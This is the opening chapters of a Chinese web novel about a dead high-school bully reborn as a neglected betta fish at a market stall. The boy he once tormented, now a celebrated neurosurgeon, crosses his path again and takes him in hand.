《变成鱼后被阴湿男鬼养了》
1. 生鱼何欢,死鱼何惧
刚出锅的炸鸡柳,快来买嘞!
烤地瓜十元三个,十元三个。
乌龟五快五块,统统五块。
哎!走过路过不要错过,套圈,套圈,十元一个,十元一个,有斗鱼,有兔子,还有石膏像,大西瓜,能玩能吃,想套啥套啥!美女,美女,来玩一个试试!第一个哥送你,不收钱!
......
嘈杂喧闹的声音透过玻璃和水传导后,像是一群人在光怪陆离的梦境交谈,窸窸窣窣,怪异模糊。
许君言慢慢醒来,已经习惯这种感觉,只是晃动了两下残缺的鱼尾,算是又多活一天的仪式感。
他不用睁眼就知道自己又在这狗屎的鱼缸,旁边有个狗屎的摆摊老头扯着大嗓门吆喝,以及接下来狗屎的人生,不,现在应该叫狗屎的鱼生。
因为他已经不是人了,是一条鱼。
一条夜市上摆在地摊里供人套圈玩的众多宠物之一的银尾斗鱼。
市场价20,用圈套的话,十元一个圈。
现在他的主线任务是躺在鱼缸里发呆。
有一天哪个好心人把他套走了,喂点好吃的鱼粮算是他修了八辈子的福了。
“来,走过路过不要错过,看中那个套那个。”摊主挺着肥硕的肚子满脸奸商笑,随手揽过一个人群里落单的小男孩,哄骗道:“来小弟弟,大人怎么不在?要不要玩一个,叔叔给你便宜价,五十一个圈。”
许君言跟往常一样躺在鱼缸里思考鱼生,闻声淡淡撇了一眼。
五十一个?刚刚还狗叫十元一个。
这么黑心别哪天走夜路嘎巴一下死了。
“谁买一条烂鱼啊,一块钱我都不买,喂我家猫都嫌臭。”显然那小孩也不是那么好糊弄,拿着隔壁摊位新买激光笔投在鱼缸上,冲着缸里的鱼晃来晃去,嘴里振振有词:“你看你这条鱼鱼尾都烂没了,鱼鳞都炸开了,眼睛也凹陷下去,很快就要死了,看我是小孩,还想骗我!”
猩红的光束从鱼尾扫到鱼脸。
许君言正四仰八叉的躺着,强烈的射线晃的他眼睛一阵刺痛,整条鱼疼的不由打个哆嗦。
在混浊的水里游曳几下。
破破烂烂的鱼尾又掉下一块银白色的碎块。
妈的!
痛死老子了!
老板一看忽悠不成,瞬间收起笑面,大手一推,“去去去,不买别捣乱,死了让你赔钱。”
“略略略,谁稀罕你的臭鱼,骗小孩晚上尿炕头,跟你那臭鱼一被窝。”小孩做了一个鬼脸,嬉笑着跑走了。
“你特么才是臭鱼!”受害鱼直接被晃的头晕眼光,半天没缓过来,又补充了一句,狗屎的小孩,祝你长大跟这老头一样阳痿早泄。
老头当然是指把他摆在地摊上的摊主,老头嘴黑心黑手更黑,许君言每天都要咒他俩小时。
当然人是听不见鱼说话。
这点许君言早就知道,最初变成鱼的时候嗓子都喊破了,鱼缸外的老头只知道往里倒鱼粮,甚至还往鱼缸里磕烟灰,差点没把他气死。
鱼咒人似乎也没什么作用,不然许君言咒他三年,他还是能在大学城这条街骗的风生水起。
许君言深知这点,骂累了,自觉的放松身体,整条鱼轻飘飘浮在了水面上。
“你看那条鱼是不是不行了。”一个声音又从外面传到鱼缸内。
“你才不行了!”许君言狠狠一瞪,身体一翻转,把翻白的肚皮努力压倒身下,晃动着残缺不全的尾巴,狠狠地瞪着说话的人。
玻璃钢反射出一张放大的鱼脸。
“你再说一遍,看我咬不咬你就完了。”许君言怒气冲冲瞪着鱼眼,除了地摊老板肥硕的肚子,玻璃缸外隐约印出两个人的身形,然而那双鱼眼被混浊的霉菌腐蚀,已经有些看不清面前那两个人的长相。
“哎,又活了。”其中一个人说着,随即叹口气:“这鱼养的,怪可怜的。”
摊主眼看来生意了,热情地走过去,拿着一堆塑料套圈,跟说话人打哈哈,“套不套?50一个圈。”
“50一个?你抢钱呢?”
“不都说你们大学生最有同情心吗?看它可怜套中就是你的了。”地摊老板掂掂手里的圈,心里暗自打量面前的两个男人。
说话的人斯斯文文,鼻梁上架着瓶底厚的方框眼镜,一看就是死读书的书呆子,不过身上穿着耐克阿迪,估计有点小钱。
另一个就长的不得了了,长头发,垂腰的长发扎着低马尾,戴着圆框眼镜,穿着一身白大褂,白大褂上还带着副主任医师字样的牌子,长的很高,比他高出一个头,脸上白白净净的挺带劲,要不是有明显的宽肩平胸,老板还真看不出究竟是男是女。
不过这些大学生都思想前卫,男的留长头发,穿着白大褂一点也不稀奇。
刚要上前继续忽悠两句,书呆子男推推眼镜,“我是大学生,不是大傻B。”
地摊老板一噎,赶紧上前改口:“哎,今天还没开张,要不便宜一点给你十元一个,十元一个好吧?”
张安并没有理会地摊老板的话,抱着手臂跟旁边的人吐槽:“我妹妹养了一条斗鱼,也是银白色的,看这条斗鱼应该快不行了,估计过几天就死了。”
旁边的男人叼起一根颗烟点燃,语气已经有点不耐烦,“走了。”
许君言还想争论几句自己没有快不行,然而男人嗓音一出,他顿时怔愣了好几秒,睁着双大眼睛用力游了几圈凑近鱼缸边缘,以最近的距离贴近说话的人,盯了半响张着口,连忙游到最里面的塑料假山里,努力把自己藏起来。
张安扯扯要走的人,“哎,蓝宁,说它快死了,你看那鱼还游两圈把自己藏起来了,挺有意思的,好像能听懂我们说话一样。”
“它能听懂人话?”蓝宁轻嗤,“没睡醒?”
鱼和人天差地别,应该不会有人相信,鱼真的能听懂人话。
也没有人相信人会变成鱼。
许君言藏了一会想到这点,又跑出来大胆地看了几眼,看了半天,一颗鱼心狂跳,真的是蓝宁,没看错,虽然过去了五年,但这人的样子,声音,一点也没有变。
就是长的有点高,黑压压的看过去,比那老头高了一个头。
许君言记得高中时候蓝宁也没长这么高,大脑袋,身体细细的,像跟火柴棍,搭上去硌得慌。
怎么一下子窜这么高?吃化肥了?
蓝宁点点烟灰,察觉到一股视线,便看向那鱼缸,鱼缸的鱼被他这么一盯,又闪电一样躲在了假山后面。
只露出半个秃尾巴。
蓝宁微微皱起眉,对视的一眼,头像被针扎了一下,短暂的刺痛一闪而过,有一种说不清道不明的熟悉感。
张安也挺好奇,“哎,它怎么一看你就躲啊?好像很怕你,刚才还半死不活的。”
许君言听完心里一阵气,谁怕啊,他许君言做人天不怕地不怕,做鱼还怕?说完深知人听不见,从假山里出来,肚皮一翻,又飘在水面上了。
蓝宁又不知道他变成了鱼,就算知道,应该也会把他做成鱼酱,踩两脚扔了喂狗之类的。
毕竟高中的时候,自己没少欺负他。
“够了,买还是不买?”没等地摊老板发话,蓝宁不耐烦地抽着烟,刚才的刺痛只当是自己太长时间没休息,薄唇吐出一阵白雾,“我晚上还要代课。”
“他这鱼都飘水面上了,我买回去干甚,我就是单纯可怜可怜。”
“可怜有什么用。”蓝宁淡淡道。
张安双手一摊,圣母心泛滥结束转头就要走,老板见生意要泡汤,连忙拦住两个人:“哎,它就这样,会装死,我给你十块一个,别走啊,五块,五块行了吧。”
“这种东西你还要五块钱?”蓝宁叼着烟嗤笑一声,“抽空留点钱看看你那贫瘠的脑子吧,去南林大医院记得挂我的号,我的号也五块。”
套圈老板刚想喷他,看见面前的小伙挑着一双丹凤眼,面容阴冷,袖口手腕处还带着一块十几万的劳力士表,一看便知道不好惹且不能惹的主。
只能打碎牙往肚子里咽。
穿过步行街,张安跟蓝宁往约好的小吃店走,边走边说:“晚上代刘老头的课?”
刘老头,大名刘德永,是世界级著名脑外科专家,脑外科和神经外科学术界泰斗。
是医学界的传奇,也是南林医科大响当当的招牌。
“不然代你的吗?”
张安扶了下额头,他一个在读医学牲怎么有资格让别人代课,蓝宁说这话纯粹是在寒碜他,“不就是叫你出来吃个饭吗?怨气这么大?”
蓝宁没吱声,插着兜往前走。
张安啧啧两声,“学霸的世界就是跟我们凡人不一样啊,学到登峰造极,饭都顾不上吃,吃个饭,我这个从小玩到大的好哥们也得低三下四的请你
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出山。”
“我跟你不是从小玩到大。”蓝宁淡淡地纠正。
“哎呀,我们高中一起到大学嘛,不就是从小玩到大么。”
张安跟蓝宁在一个高中,从高中就跟蓝宁前后桌,到高考更是考了同一所大学,念同一个学科。
不为别的,单纯是蓝宁是张安从高中时期追捧到现在的偶像。
高中就是学神一般的存在,平时不上补习班也稳居年级第一。
大学考上南林市第一医科大学,本硕博连跳三级,成功吸引刘教授刘德永的注意,并收为关门大弟子。
而这位大弟子也不负众望,成为医科大的传奇学霸,年仅二十五岁发表多篇SCI,又破格晋升副主任医师,现在已经能够完成多项复杂的脑外科手术。
张安起初兴致高昂地追赶这位学神,努力五年也只能做个小跑腿,在如此可怕的天赋下,也只有仰望的份。
张安撞了撞他,“我也不是没事找你,这不刚从医院回来,教授托我给你捎话。”
“什么话?”
“说下周有台手术,他最近腰痛病犯了,估计上不了台,让你晚点过去找他拿资料先准备着。”
“我知道了。”蓝宁道。
刘教授年过古稀,是南林大返聘过来的,因为年纪过大,一年也做不了几台手术,也没什么精力上课,蓝宁平时给老教授代课教学生,有手术的时候也替代他上手术台。
两个人到了小饭馆,张安随便点了几样菜,等菜的间隙倒了一壶大麦茶。
麦子的香味飘散,张安抬眼看他,又说,“你知道下周要手术的是谁吗?”
“不知道。”在没拿到资料前,蓝宁不可能未卜先知。
“董宇。”张安放下茶壶,敲敲桌子,“那个董宇,记得吗?”
“董宇?”蓝宁思索了一阵,眯起眼睛,“哪个董宇?”
张安拍拍他的肩膀,跟他对视一眼,蓝宁眉心微皱,顿时想起来一些不怎么好的记忆。
张安会意道:“就是高中时欺负你的那个董宇。”
蓝宁揉揉鼻梁,淡淡道:“叫我出来要说的就是这个吗。”
高中时期董宇确实是蓝宁的噩梦,但也仅限于过去,张安不说,现在蓝宁几乎都会永远的忘记这个人。
“你这么淡定啊?你忘啦?那个董宇。”张安好心提醒他,“当初他跟许君言一样,到处找你麻烦。”
蓝宁缓缓睁开眼睛,许君言,许君言,蓝宁很久没在别人口听到这个名字。
离开了那所高中,与许君言相关的人或物都消失在他的世界里。
如今再次从被人讲出,那三个字像一块巨大的石头,狠狠撞击在他的心脏上。
撞的他头晕眼花,耳朵嗡鸣。
“别说了。”蓝宁轻声开口。
但饭馆里声音嘈杂,张安还在回忆往事,“他和许君言,不都是在高中的时候霸凌过你么。”
“我知道了。”蓝宁觉得呼吸不畅,好像一个巨大的真空压缩机,把周围的空气压缩,让他觉得喘不过气,蓝宁只能机械道:“别提许君言。”
“许君言咋了。”张安一提许君言更加激动,愤愤道:“许君言比董宇更可恨,在高中时,他俩关系不好,拿你出气,哪个不是肚子里坏的直淌水,把你欺负的遍体连伤,如今风水轮流转了,他躺在床上眼巴巴的等你救,那个王八蛋许君言死了,估计现在坟头草都没人拔......”
“够了!”
吱呀-----木制凳子划在地板上拖曳出刺耳的声响。
蓝宁猛地站了起来吼道:“我说别提许君言!”
他不想再从别人口中听到这个名字,也不想知道这个人已经死了。
张安一时被镇住,嘴里的话也卡了壳。
眼前的人站起来,脸色阴沉又苍白,本来就锐利些的丹凤眼现在阴沉沉的如同夜里的浓雾,黑的骇人。
“蓝宁......我知道了,我说许君言你不高兴?”张安小心翼翼地试探着。
“你不愿意听我不说了啊。”
噪杂的人群变得安静下来,纷纷朝蓝宁投来好奇的视线。
蓝宁深呼吸一口气,从那真空的环境慢慢抽离,拿起桌上的手机,大步往外走,“我吃饱了,你慢慢吃吧。”
“哎,你。”张安想追又不敢追,叹了口气,扇自己几嘴巴,“说这些干什么,真欠。”
2. 许君言死了
蓝宁很少提起以前的事,要不是正巧看见董宇的诊断资料,张安也不会主动提,因为蓝宁以前真的太苦了,生活上贫困潦倒,先被董宇欺负,后来董宇利用他招惹许君言,蓝宁又被许君言欺负,但许君言比董宇更加可怕,董宇只是时不时找蓝宁麻烦,而许君言几乎形影不离的缠着蓝宁。
而且性格恶劣乖张,经常打架斗殴,甚至臭名昭著的董宇都害怕他。
更别提蓝宁。
张安当时只是一个普通人家的孩子,那两个人的家世非富即贵,学校都不敢管他们,张安跟不敢管,只能眼睁睁地看着他们轮流欺负蓝宁。
索性后来董宇转学了,许君言死了,蓝宁才过上好日子。
张安默默对着一桌子菜叹口气,他的偶像还是这么的可怜。
被许君言欺负的,即便那人死了快五年,现在听到名字都应激。
许君言睡了一觉,分不清白天黑夜,总之又是彩灯闪烁,晃的他眼睛疼。
今天格外不对劲,他发现自己只能肚皮朝上,飘着生活了。
就这样飘了不知道多久,在老板第一百次犹豫着要不要把他扔出去的时候,许君言终于把自己抢救过来了,努力翻过身体。
瞪着一双混浊的眼睛,“干什么?”
旁边的老板呵呵一笑,“这鱼挺耐活阿,都在你手里三年多了,还活着呢。”
这老板不是专业养鱼的,三年前从花鸟鱼市场捡了条四处乱蹦的鱼,随便找了个鱼缸养着,扔进套圈的地摊里,没想到还挺受欢迎。
前两年这鱼身价100一个,想买走它的人络绎不绝,因为那时许君言特漂亮,尾巴大的占据整个鱼缸,游在水里跟一块飘动的彩绸一样,每次游动都折射着雍容华丽的光晕,让人眼馋的不要不要的,但是那鱼生性好斗,套进去一个,顶开一个。
慢慢的谁也没有套走。
渐渐的,鱼缸里的水变得混浊,本来银白色的鱼尾被腐蚀,围着他的人越来越少,许君言从这摊子里炙手可热的头牌变成无人问津的烂鱼。
他的圈从100一个到10块一个,估计过两天就要白送了。
旁边买宠物鼠的老板说:“你这鱼鱼尾都烂了,给他换换水吧,两年都没换过水。”
“嗨,换什么水阿。”地摊老板拿起一袋子花花绿绿的鱼粮往里倒,“死了就死了,它这样,已经没啥吸引力了。”
噼里啪啦的鱼粮打在许君言脑门上,许君言怒气丛生,大叫:“喂,下饺子呢,这鱼粮难吃死了,你妈的你等着,等我变成人……”
然而许君言说的声音再大,在外人看来也只是动动鱼嘴,仿佛在进食一样。
许君言狠狠地咬着鱼粮,骂道等我变成人,把你嘴里塞满鱼粮按在鱼缸里打。
然而吃了两口,又不得不停下来休息一会儿,最近它总感觉自己很累,时不时的就得肚子朝上飘一会儿才能缓解。
而且五年过去了,他也没有变成人。
-------
周家。
漆黑的劳斯莱斯缓缓停靠在别墅门口。
没等司机绕过车头开门,蓝宁已经下了车。
阿姨王丽梅招呼他进门:“午膳都在餐厅备好了,夫人,大少爷,老爷都在,就等着少爷您来呢。”
“好。”蓝宁应声。
走进餐厅,梅姨便默默的关上大门,留下蓝宁跟一桌子人对视。
餐桌上菜品丰盛,只不过蓝宁不是很有胃口,随便捞了个椅子落座。
餐桌是欧式长桌,主位上坐着周振雄,右边是长子周瑾风,左边是周振雄的正妻黎雪,而最边缘的,是他自己蓝宁。
蓝宁姓蓝,随母姓,只流着一点周家的血脉,在登上南林市高考状元榜榜首的时候被周振雄注意到,忽然想起自己有一个流落在外的状元私生子,心生怜悯,带回来给口饭吃。
“宁宁,下周你有台手术?”周振雄不紧不慢地声音响起。
蓝宁神色淡然,“教授名下是有台手术,怎么?”
黎雪摸着董太太新送的鸽子蛋红宝石钻戒,缓缓开口:“说来也是缘分,做手术的那小孩子,是咱们家的老朋友了,你董叔叔家的小儿子,那孩子跟你差不多大,听说你们在高中的时候还认识呢,叫董宇。”
“董宇?确实认识。”蓝宁淡淡道。
“认识就好了,你董阿姨跟我说了,那孩子从小就混,干的坏事数不胜数,前阵子酒驾撞到高架上捡回来一条命,也算是老天的报应了,要是以前有对不住你的地方,等你做完这台手术,他们母子登门道谢。”
蓝宁听的有些想笑,他跟董宇的关系在场的估计没一个不知道,董宇跟他一个高中,欺负了他整整两年,因为什么欺负他,想必也很了解。
但这都是蓝宁自己的事,旁人一句轻飘飘的老天报应过了,就把这一页带过去了。
“真的吗?”蓝宁淡淡地说:“您不说我还忘了,一说我倒想起来真有点过节。”
黎雪笑呵呵,随口道:“什么过节啊,当初都是年纪小不懂事,他也不知道你是咱们周家的孩子,要是知道也不会欺负你。”
“不是周家的孩子就能欺负了?”蓝宁垂眼冷笑:“世界上竟然有这种道理。”
蓝宁说完黎雪笑容仍挂在脸上,眼里的笑意却慢慢退却。
“蓝宁,怎么跟你妈说话呢?”周振雄沉声说。
餐桌上一时间陷入寂静。
周瑾风放下擦手巾,慢条斯理地出声:“弟弟,董叔叔家就这么一个儿子,你要知道,这台手术关乎着两家未来的命运,你是周家的人,为了周家的利益,即便受了一些委屈,也要顾及周家的未来。”
蓝宁慢慢吃着饭,眉眼中透着冰冷和漠然。
周振雄也知道蓝宁高中时跟董家小儿子的那点事,说起来也是因为自己的孽缘种下的因果,便消了几分气:“不管你以前跟那小子关系怎么样,你做了这台手术,以后他见你都要尊敬几分,叫你一声哥,但现在你董叔叔有求于咱们,你必须得给董家一个好结果。”
“怎么个必须法?”蓝宁放下筷子,懒懒地抬眼,“病人的资料还未接手,而且脑科手术存在很多不确定性,谁也不能保证结果是必须的,绝对的。”
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手术定在下周三。
张安知道依旧是蓝宁主刀后在寝室里破口大骂,骂蓝宁是脑子进水给当初的死对头做手术,骂了一会又开始骂董宇,一直骂到周三没有停。
当然蓝宁不知道这些。
手术预计十小时,蓝宁已经看过病历,头部受到剧烈撞击,挡风玻璃碎裂,一条钢筋从眼眶扎到后脑,第一次手术主要是减轻脑水肿带来的颅内高压,去除主要的异物,第二次手术是要清理掉飞溅进去的细小玻璃碎片,由于靠着视觉神经和大脑皮层,所以需要在精密仪器下连续操作,这不仅考验医生技术也考验医生的专业判断和决策能力。
稍微一点差错就会导致永久失明和脑内不可逆损伤。
刘教授三年前做过类似手术,三年后他已经没有能力再次操作,只能由蓝宁替代。
手术室内,仪器的灯光交替闪烁,蓝宁穿着蓝色手术服慢慢走到手术台前,董宇半边脸遮着无菌布,另外完好半张脸露出来,在看到蓝宁的那一刻,眼神里写满了忐忑不安。
虽然蓝宁戴着口罩,但董宇还是认出了他,目光相撞的一刻,董宇嘴唇只打哆嗦,他做梦也没想到,曾经自己打过,骂过,玩弄的人,现在拿着手术刀成为了决定自己生死的判官。
然而他毫无选择,这手术,全国乃至全球,也只有蓝宁一个人做。
他的眼球和他的人生都压在这里。
他不得不低头,“蓝宁,以前的事是我对不住你,我是畜牲,是混蛋,你,你大人不记小人过,原谅我这一回。”
蓝宁一言不发,视线扫过董宇,深蓝口罩上露出无框眼镜和狭长的双眼,那双眼漆黑平静,像一潭死水,看不出任何情绪起伏,他拿起操作台上的手术剪看了看,银白色剪刀在白炽灯下折射出冰冷刺眼的光晕。
董宇心脏狂跳。
蓝宁慢条斯理地靠近,带来一阵消毒水的气息。
尽管董夫人已经给他打过预防针,但是董宇还是忍不住打哆嗦,车祸后造成的心理阴影让他对死亡无比恐惧,他不得不哀求面前的人寻求心理安慰:“我以后给你当牛做马,你怎么欺负我都成,还有,以前也不是我一个人跟你有过节吧,还有许君言,你是受害者,我也是啊,我当初转学就是被他打进医院,一直躺了两周多,咱们都是同病相怜,同病相怜,对不对?”
蓝宁听完嘴角扯出一个嘲弄的笑。
似乎觉得太好笑了,狭长狐狸眼微微向上弯了一下。
董宇也露出一个讨好的笑:“蓝宁,只要你能治好我,我们以后就是好兄弟,我以后命都是你的。你要我干什么我就干什么......”
蓝宁固定好他的脑袋,慢慢地俯下身,说出了进手术室里的第一句话:“他为什么
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打你,你难道不记得吗?”
董宇一愣。
手术室里的人来来往往,都在各司其职准备着接下来的手术,丝毫没有注意到蓝宁的异常,只是觉得蓝宁低头在跟患者在沟通,进行简单的术前询问。
蓝宁语速很慢,声音很低,带着些许气声,“要不要我提醒你,是因为你说我跟我妈一样都是出来卖的,说我,是许君言的婊子。”
董宇登时浑身打了个冷战,一时语塞,“那,那时候我喝多了,根本不知道自己说了什么,真的啊,我真的......”
蓝宁冷冷一笑,面无表情地起身,为他遮下深绿色的手术布,董宇的视野变得灰暗,随着手臂上的刺痛感,渐渐的他失去意识,闭上了眼睛。
手术持续十个时,结束时已经晚上8点,蓝宁换下手术服,脚站过久都有些肿胀的发麻,门外等待的人一股脑的扑进去,多数是董家过来的人,董妈捏着佛珠双手合十一边说着佛祖保佑,一边抱着自己的儿子泪流满面。
蓝宁转身要走,抬头看见了周瑾风不紧不慢地走过来,周瑾风问:“手术怎么样?成功吗?”
“你觉得呢。”蓝宁摘下口罩,越过他往出走。
周瑾风抓住他再次确认:“小宁,你不会任性吧?”
蓝宁看了他一眼,淡淡道:“你答应我的条件,我自然也不会食言。”
周瑾风轻轻呼出一口气,放开了他,“大哥相信你,好好休息,累坏了吧。”
蓝宁没再理会,穿过来来往往的人群,跟往常一样走进办公室,坐在椅子上闭目养神。
十个小时的神经紧绷,如今放松下来,只觉得无限的空虚和恍惚。
他有无数个机会让董宇生不如死,但是抬手的那一刻,蓝宁只觉得会弄脏自己的手术刀。
有人跟他说过,蓝宁以后一定是名好医生,所以蓝宁是一名好医生。
正休息着,诊室的门敲了两声,蓝宁睁开眼,张安拿着董宇病历本走过来递给他签字,蓝宁接过仔细看了一遍,掏出上衣兜的钢笔,签下自己的名字。
张安唉声叹气,“老刘说你手术很成功,一个劲的在外面夸你呢。”
蓝宁脱下白大褂,张安下意识接过,挂在衣架上,又说:“你真的人美心善啊,董宇这种败类也是有狗屎运,遇见你这个不计前嫌的大善人。”
“说完没?”蓝宁穿上衣服往外走。
张安撇撇嘴,“没说完,董宇他妈说晚上组个局,请全科室的人吃饭。”
“晚上有解剖课,不去了。”蓝宁朝后面摆摆手。
“不是,你刚做完手术就去上课啊,不要命啦?”张安跟在后面吐槽:“谁给你排的课表啊,是人吗?”
蓝宁:“我自己。”
张安欲言又止,伸手拉住他:“好歹休息一下吧,每天这么高强度工作,活着不累吗?”
“你怎么知道我活着累不累?”蓝宁猛地甩开他的手,冷声道:“少管闲事。”
南林市医科大。
这是一具青年男人的大体,还未经过特殊的处理。
蓝宁今天的课程就是教会学生如何制作人体标本。
大体保存的很完成,跟活着的人没有什么两样。
蓝宁目光在那张脸上盯了两秒。
慢慢地拿起手术刀,手术刀划过苍白的躯体,精准,精确,切开皮肤,破开阻隔,拿出里面每一个死亡的器官,浸泡在容器里。
旁边观摩的学生不敢多言,十分珍惜甚至虔诚地观摩着他们南林医科大的传奇学长,脑外科最权威医生的实操。
晚上十一点,蓝宁脱下白大褂和皮质手套,福尔马林液体刺鼻的气味让他干呕了几下,在卫生间里什么也没呕出来,反倒是脸色更加苍白了些。
恍惚间好像听见谁在说话,在脑子里,不断回响。
“我死后要把我的遗体捐出去。”
“为,为什么。”
“为了死后也不被人忘记,最好能陈列在展览馆,展现出我的完美和帅气,你以后不是要当医生吗,如果有一天我死了,专门给我做漂亮点,年轻点,然后还要制作一个纯金的金牌,写着大大的许,不,只写许不大行,要写许某某到人间一游。”
“我.....”
“我什么我呀,我相信你,你以后一定是个专业的好医生。”
蓝宁抬起脸,脸上是湿漉漉的水滴。
镜子里的人看不真切,隔着一层水雾,他似乎闻到了来自体内散发的福尔马林。
3. 买鱼
“奶奶,小鱼,我要买鱼!”步行街上,一个脏兮兮的小男孩拉着一老妇人衣角用力摇晃着,晒成酱油色的手指向面前的小摊,“奶奶,给我买一个吧,我想养鱼!”
老妇人佝偻着身体,身后还背着拾荒的袋子,看了一眼地摊上摆放的宠物鱼和旁边膀大腰圆的老板,满脸犯难,“乖孙,咱不买,今天没带钱......”
小男孩穿着一件长袖长裤,衣服上印着各种形状的脏污,吸拉着不合脚的拖鞋,听见老妇人说不买,哇地一声哭出来,“不要,我要买,你答应我,要买的!!!!”
说着扑通一声躺在地上,两脚朝天蹬的起飞,一副不买就哭死给你的架势。
地摊老板遮住自己手里的酸辣粉,满脸嫌弃地说:“哎,那个要饭的,把你家小孩弄走。”
头发花白的老人佝偻着腰,架不住自己小孙子闹腾,颤颤巍巍地询问:“老板,那条鱼能不能便宜点买给我们呐。”
地摊老板嫌弃地打量了他俩几眼,下巴点点旁边堆积的塑料圈,“五块钱一个圈,自己拿,套中了就是你的。”
老妇人满脸为难,“但,但我不会套那个什么圈,您就行行好,便宜点卖给我们,我小孙子喜欢。”
“不会别买啊。”地摊老板往嘴里塞着粉,一边说:“我这地摊有地摊的规矩,只能套中了买。”
“哇!!!!我要鱼!!!!我就要!!!!我就要!!!!”
小孩听完满地打滚,哭的更加厉害,尖锐的哭声响彻四周,惊的地摊上小仓鼠满笼子乱窜,也成功地唤醒了鱼缸里睡觉的许君言。
“妈的,吵死了!”许君言一个鲤鱼打挺,挺了好几下,才勉强翻过身。
“您就可怜可怜我吧......”
“孩子真想要。”
“我要养鱼,哇------”
许君言在鱼缸里静静看了一会,总算理清了外面发生了什么。
原来有人想买他。
许君言贴近鱼缸,看着满地打滚的小孩,嘲讽他:“瞅你那邋遢样子还想养鱼?养的明白吗你?脏兮兮的。”
看完小孩又看那个老妇人,“你也是,自己都穷成这样了,还想买我,鱼粮都买不起吧,被你俩买了我不得饿死。”
鱼缸外小男孩依旧满地打滚,嘴里大喊:“啊啊啊啊,我要鱼,我要鱼!!!!”
许君言:“要你大爸。”
地摊老板吃完最后一口粉,擦擦满嘴油,被吵的烦了,想了想那条鱼经过这几天暴晒,大部分时间都是飘着的,活不了多久,他钱也赚够了,索性一摆手,“行了行了,三块钱,拿去吧。”
小孩一听立马不哭了,从地上蹦起来,喜笑颜开地朝着许君言跑过去,边跑边甩着两条大鼻涕。
许君言如临大敌:“滚开滚开滚开,你这个臭小孩。”
说完奋力地游了两圈,证明自己没有死,看向地摊老板,“我还能活很久呢,喂,喂!”
但人根本听不见鱼说话,地摊老板也不会鸟他,许君言只觉得鱼缸一阵颠簸,再一看,自己已经被小孩拿了起来,他被晃的头昏眼花,绝望地咆哮:“你这个黑心老头,你把我卖给乞丐,你不得好死!!!”
小孩激动地吸着鼻涕,端着鱼缸就往回跑。
“哎呀,孙子,慢点,你慢点。”老妇人付完钱,佝偻着腰追,小孩生怕他奶奶反悔,抱着鱼缸跑的飞快,没跑几米迎面撞上了一个人。
那人正打着电话,冷不防被撞,身体晃了晃稳住身形。
而小孩没那么幸运。
只听扑通一声,小孩被撞的四仰八叉,玻璃鱼缸顺着他的手飞出,摔的粉碎。
混浊的水倾洒一地,还带着一点臭味。
缸里的鱼以抛物线的形状飞出,啪嗒一声,落在那人的脚下。
许君言不动了,因为他被摔懵了。
“小朋友,你没事吧?”张安赶紧拉起倒地的小孩,又看看碎在地面的鱼缸,回头看向罪魁祸首,“蓝宁,你怎么不看着点,撞到小孩了。”
今天是周末,张安和蓝宁受邀去参加一场公益性基本救护知识的讲座,结果还没到地方呢,蓝宁就把人撞飞了,而且撞到还是个小孩。
张安把小孩扶起来,左看看右看看,索性没什么问题。
小孩哭啼啼的冒出两个鼻涕泡,低头找了一会儿,指指蓝宁的裤脚哽咽:“那是我的。”
“你的?你的什么?”
张安顺着手指定睛一瞅,蓝宁脚边里躺条鱼。
而且那条鱼有点眼熟,张安看着那破破烂烂的鱼尾想起来了,“这是前阵子那条斗鱼吗?还活着?”
蓝宁视线下落,跟脚边的斗鱼大眼瞪小眼。
许君言鱼身已经僵硬,摔懵的阶段已经过去,现在是震惊,他躺在地上鱼眼静静地瞅着站在地上的巨人,没有玻璃和水的阻隔,那张脸越发清晰。
许君言方寸大乱。
蓝宁,是蓝宁啊啊啊啊啊,好死不死,步行街这么大,为什么又碰见蓝宁!!!看不见我看不见我!!!!
许君言边祈祷,边扭着尾巴,背对着他们,试图把自己藏起来。
正自欺欺人的蛄蛹着,只觉得的身体一轻。
一只手把他拿了起来。
许君言瞪着眼睛往上瞅。
那张熟悉的脸又清晰了数倍,还一直盯着他看,他顿时脑袋充血,抻着脖子就要往外蹦,一边蹦一边大叫:“喂,你们谁,快带我走,那边的大妈,大妈,奶奶,不是已经买下我了吗?小孩哥,小孩儿哥,我再也不嫌弃你脏了,快把我带走!”
许君言慌张、无助、且绝望,他宁可被这落魄祖孙买走也不想落到蓝宁手里。
以前做的坏事太多,欺负的太狠,现在被正主抓在手里,他心虚的要咽气。
“蓝宁,快把这条鱼还给孩子。”张安说。
【嗡------】
尖锐的声音钻进脑子,蓝宁又一阵头疼欲裂,他抓着手里的鱼揉揉鼻梁。
“等等。”
“等什么啊?”
蓝宁不说话,旁边的小孩哭够了擦着鼻涕,又擦干眼泪看向跟自己相撞的人,瞬间有些脸红,孩生第一次看见这么漂亮留着长头发的“大姐姐”,也不执着养鱼了,一时间也矜持起来,有些害羞地跑到老妇人身后。
而蓝宁手里的许君言已经癫狂,奋力的扭着鱼身朝那对祖孙推销自己,“小孩,奶奶,那个,我很好养啊,我不吃鱼粮,吃点馒头什么的也能活。”
快把我带走!!!
然而小孩沉浸在长发“大姐姐”的美貌中无法自拔,小孩的奶奶看着面前两个高大的男人踌躇着不敢上前。
尤其是手里拿着鱼的男人,身高体长,面容清冷,整个人透着矜贵,有钱人的味道。
他们得罪不起。
许君言努力半天也没说动那对祖孙,只好自力更生。
“蓝宁你再不把我放下来,别怪我下狠手,我咬人很疼的啊,非常疼的啊,咬过的人都不想被体验第二次,你现在不放我走,一会儿可别后悔,我告诉你......”
许君言胡乱威胁一通,也不管人听不听得见,他双眼一闭直接豁出去了,对着底下的肉张开鱼嘴。
我啃啃啃啃........
蓝宁垂眼,看向那尾银白。
鱼尾的白忽然跟记忆中的那抹白重合,那段记忆突兀地浮现在脑海,高中时夏季运动会上,蓝宁跑完三千米,坐在墙根底下歇息,银发少年逆光而下,遮住了他所有的视野,笑着:“哎,坐着干嘛呢,言哥新做的发型,帅吗?”
那时候蓝宁看的连喘气都忘了,眼里只有放大的许君言。
他本来晒红的脸更加红,像煮熟的螃蟹。
许君言又扔给他一个冰凉的长方体说:“说话啊土包子,没见过世面看呆了吧,哥赏你冰淇淋,脸这么红,别中暑了耽误给我写作业。”
蓝宁下意识摸摸自己的脸,热的发烫。<
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旁边的张安连忙跑过来支支吾吾,“许君言,你,你别欺负同学,我都听见你,你让蓝宁帮你写作业。”
“我就欺负咋了,你再多嘴我往他冰淇淋里尿尿。”
说着许君言还提了提裤子好像真要那么干似的。
“许君言你真恶心!”张安吓得大叫着跑开了。
蓝宁拨开冰淇淋包装袋,咬下一口,绵密的奶香和清甜的水果味混杂,像芒果的味道,在口腔中弥漫。
